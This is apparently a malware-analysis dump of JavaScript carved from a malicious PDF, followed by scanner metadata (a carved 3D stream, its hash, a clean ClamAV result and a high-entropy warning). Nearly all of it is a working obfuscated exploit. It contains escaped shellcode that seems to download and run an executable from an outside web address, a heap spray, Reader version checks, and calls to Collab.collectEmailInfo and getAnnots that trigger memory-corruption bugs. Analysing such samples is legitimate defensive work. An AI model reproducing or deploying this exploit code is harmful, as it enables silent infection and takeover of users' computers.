"%u9090%u9090%u9090%u9090%ufbe9%u0000%u5f00%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u2068%u7d80%u330c%u0374%ueb96%u8bf3%u0868%uf78b%u046a%ue859%u008f%u0000%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u8b16%ue8e8%u0079%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75%uef8b%u335f%u81c9%u04ec%u0001%u8b00%u51dc%u5352%u0468%u0001%uff00%u0c56%u595a%u5251%u028b%u4353%u3b80%u7500%u81fa%ufc7b%u652e%u6578%u0375%ueb83%u8908%uc703%u0443%u652e%u6578%u43c6%u0008%u8a5b%u04c1%u8830%u0045%uc033%u5050%u5753%uff50%u1056%uf883%u7500%u6a06%u5301%u56ff%u5a04%u8359%u04c2%u8041%u003a%ub475%u56ff%u5108%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%uf238%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%u00e8%uffff%u8eff%u0e4e%u98ec%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u6b70%u6176%u006f%u7468%u7074%u2f3a%u712f%u766a%u7876%u6779%u6569%u7669%u2e75%u6f63%u2f6d%u746e%u2f65%u6f6e%u3176%u702e%u2f79%u4879%u6135%u3135%u3035%u3133%u3056%u3031%u6630%u3730%u3030%u3630%u3952%u3361%u6332%u6565%u3132%u3230%u3154%u3536%u3365%u3965%u3230%u3130%u306c%u3130%u0033";app.aEun_XwC = unescape(k_r4c_qr2VhrGXb(m_Lp_Ggvq, V_elhI7__bI4b2b));var qK__CN___Sv = 0x400000;var vE3V00q_O = A0CI_4f.length * 2;var hct4XSa__P4 = qK__CN___Sv - (vE3V00q_O+0x38);g7eQ3232XQ = r_qv8rC_M_7iyx(g7eQ3232XQ, hct4XSa__P4);var sL_A_85__fby = (M2_3sv5___fvlf - 0x400000)/qK__CN___Sv;for (var L___sK = 0; L___sK < sL_A_85__fby; L___sK++) {i_a_Nm[L___sK] = g7eQ3232XQ + A0CI_4f;}}function o_6fS1r60(){var M_122_2_608 = "";for (W3g1Xb = 0; W3g1Xb < 12; W3g1Xb++) {M_122_2_608 += unescape("%u0c0c%u0c0c");}var pfD4q___yN = "";for (W3g1Xb = 0; W3g1Xb < 750; W3g1Xb++) {pfD4q___yN += M_122_2_608;}this.collabStore = Collab.collectEmailInfo({subj: "", msg: pfD4q___yN});app.clearTimeOut(m_Wk63_p86IRYI);}function P_C6___4(kW18Yv3_y_eA){var FcL_T4 = m_Wk63_p86IRYI;if ((kW18Yv3_y_eA >= 8 && kW18Yv3_y_eA < 8.11) || kW18Yv3_y_eA < 7.1) {xgsj2a(23, "%u0c0c%u0c0c", kW18Yv3_y_eA);app.VVQI1_o__uNhI67 = o_6fS1r60;m_Wk63_p86IRYI = app.setTimeOut("app.VVQI1_o__uNhI67()", 1);} if (kW18Yv3_y_eA < 7.12) {function W3__o0FQB_lT7() {try {xgsj2a(22, "%u0c0c%u0c0c", kW18Yv3_y_eA);var x_uynNi = -0x7CFCFCFD;this.getAnnots(x_uynNi, x_uynNi, x_uynNi, x_uynNi);} catch(e) {console.println("annots exception error"); }}W3__o0FQB_lT7();}xgsj2a(13, "%u0c0c%u0c0c", kW18Yv3_y_eA);if (FcL_T4) {app.clearTimeOut(FcL_T4);}}var pVixd3__w_CUF2B = 0;var mhUc5MYgyPe0 = app.plugIns;for (var b_Rr0MJ7_m = 0; b_Rr0MJ7_m < mhUc5MYgyPe0.length; b_Rr0MJ7_m++) {var w88gmg4 = mhUc5MYgyPe0[b_Rr0MJ7_m].version;if (w88gmg4 > pVixd3__w_CUF2B) { pVixd3__w_CUF2B = w88gmg4; }}if (app.viewerVersion == 9.103 && pVixd3__w_CUF2B < 9.13) {pVixd3__w_CUF2B = 9.13;}if (!(pVixd3__w_CUF2B < 9 || pVixd3__w_CUF2B >= 9.2) ||    !(pVixd3__w_CUF2B < 8 || pVixd3__w_CUF2B >= 8.17) ||    !(pVixd3__w_CUF2B < 7 || pVixd3__w_CUF2B >= 7.14)) {P_C6___4(pVixd3__w_CUF2B);}
u3d_00_off0000353e.bin pdf-3d-stream PDF U3D 3D stream at offset 0x353E 27449 bytes
SHA-256: 48816569ab4f370009a917ef6429edbe09e4dfe8a63b00a0a0f75a904c62ba94
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.99, consistent with packed or encrypted content.